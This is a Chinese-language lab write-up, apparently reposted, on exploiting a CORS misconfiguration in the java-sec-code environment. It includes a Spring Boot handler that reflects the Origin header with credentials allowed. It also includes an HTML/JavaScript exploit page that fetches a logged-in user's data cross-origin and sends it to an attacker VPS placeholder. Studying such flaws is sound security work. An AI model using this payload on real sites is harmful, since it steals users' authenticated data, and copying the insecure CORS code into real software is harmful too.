CORS跨域訪問漏洞


有一直在寫cors漏洞,但是一直沒有去真正的利用他,今天就來學習記錄一下利用。

 

0x01前置知識

就簡單提一下

Access-Control-Allow-Origin: 可以寫出哪些域名能訪問本站的資源

Access-Control-Allow-Credentials:字段不是必選字段,它的值是一個布爾值且只能設置為true,表示服務器允許瀏覽器將cookie包含在請求中,否則就不添加此字段。

 

這里需要注意的是如果是下面這樣,任意域都能訪問的,而且為true的是不能帶cookie的

Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true

果要發送cookie,Access-Control-Allow-Origin就不能設為*,必須明確指定與請求網頁一致的域名,同時Cookie依然遵循同源策略。

 

我覺得獲取到cookie需要滿足:

Allow-Origin配置中有的我們能用的白名單域;

或者是有存在漏洞域的父域名。

 

域名等級划分

網上有一些說法,但是不統一 有說頂級域名后還在存在一級域名的

也有頂級域名后就是二級域名的,這里就采用第二種說法:

一級域名(頂級域名)

".com"、".net"、".org"、".edu"、".info" 這些由國外公司管理
".cn",".uk" 國家和地區頂級域名

 

二級域名

就有 a.com b.com 這些都是二級域名
而 a.com是.com域的子域名 ,.com是a.com域的父域名
父子域名是相對的,比如ss.a.com和a.com就是互為父子域名

前提是他們的協議一樣 端口一樣

引用一張圖片

 

 

 

0x02漏洞環境

 

 

看看Java-sec-code里面的漏洞代碼Cors.java

從請求header里面獲取到Origin的值,然后直接就映射為

Access-Control-Allow-Origin: 的Origin值

並且Access-Control-Allow-Credentials設置為true,也就是說能夠帶cookie訪問

 

 

 這里雖然能帶上cookie,但是前面說過了獲取cookie的條件,我們不一定能通過這個漏洞獲取到cookie。

 

 

0x03漏洞利用-信息泄露

 

首先在VPS上搭建一個頁面test,漏洞環境搭載在本地

<!DOCTYPE html>
<html>
<body>
<div id="demo">
<button type="button" onclick="cors()">Exploit</button>
</div>

<script>
function cors() {
  var xhttp = new XMLHttpRequest();
  xhttp.onreadystatechange = function() {
    if (this.readyState == 4 && this.status == 200) {
      document.getElementById("demo").innerHTML = alert(this.responseText);
      //利用下面代碼發送到日志中去
      location="//VPSIP/cors/?response="+this.responseText;

    }
  };
 //漏洞網站地址 xhttp.open(
"GET", "http://localhost:7869/cors/vuls2", true); xhttp.withCredentials = true; xhttp.send(); } </script> </body> </html>

 

test里面會帶上responseText的值去訪問我們VPS監聽的端口 這里沒寫默認是80

 

這里用戶登錄,然后訪問頁面,這里輸出的是頁面信息

 

 

 

然后我們發送搭建的test頁面,誘導用戶打開

 

 

 

可以來抓包看看,可以看到這里的Origin頭是我們服務器的,訪問是附帶上了cookie,然后返回也是可以的

 

 

 

 

 

alert彈窗

 

 

 

然后是去請求我們服務器監聽的端口

 

 

 

附帶了用戶訪問/cors/vuln/origin頁面的信息返回到服務器上,造成信息泄露

 

 

 

 

0x04總結--cookie利用?

 

如果我們直接在test代碼里加上document.cookie 附帶到發送回來呢?

按照前面說的我們雖然是帶cookie請求,但是不能獲取到cookie的。

 

 

該項目采用的是Spring boot 在Cors.java里面新寫一個注解映射/vuls2頁面

這里把cookie添加到response里

@RequestMapping("/vuls2")
    @ResponseBody
    private static String vuln_test(HttpServletRequest request, HttpServletResponse response) {
        Cookie cookie1=new Cookie("user_cookies","MSF7D_go_go_go");
  response.addCookie(cookie1);
// 獲取Header中的Origin
  String origin = request.getHeader("origin");
  response.setHeader(
"Access-Control-Allow-Origin", origin); // 設置Origin值為Header中獲取的 response.setHeader("Access-Control-Allow-Credentials", "true"); // 允許帶上cookie訪問 return info; }

 

訪問/vuls2頁面,可以看到我們的cookie

 

 

然后去訪問getcookie.html頁面,可以看到帶上了我們設置的cookie

 

 

可以看到返回包是有cookie的

 

 

獲取cookie返回為undefined

 

 

 

 

然后監聽得到的,其實這里document.cookie顯示就是undefined,

應證了前面說的可以發送cookie但是不能通過這種方式來獲取到cookie。

 

 

 之前說過想要利用除了滿足必要的條件,必須還要父域或者是Allow-Origin 里面寫有我們的域才行

下面引用開發者寫到就是一個跨domain帶cookie的測試,xxx為前端,test為后端實現的一個訪問。

因為這里的cookie設置的domain是.joychou.org 為 是xxx和test的父域

 

 

大致的配置代碼也就是

 

 

 

感覺這個洞獲取cookie token難度要大一些,不如XSS,不過被設置了httpOnly xss就不好使了。

這個可以配置xss來利用的,還某些情況下可以Vary緩存xss中毒這些。

 

參考鏈接:

https://www.cnblogs.com/sijidou/p/13114351.html

https://blog.csdn.net/stpeace/article/details/82823686

https://blog.csdn.net/xiaxiaoxian/article/details/79287458


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM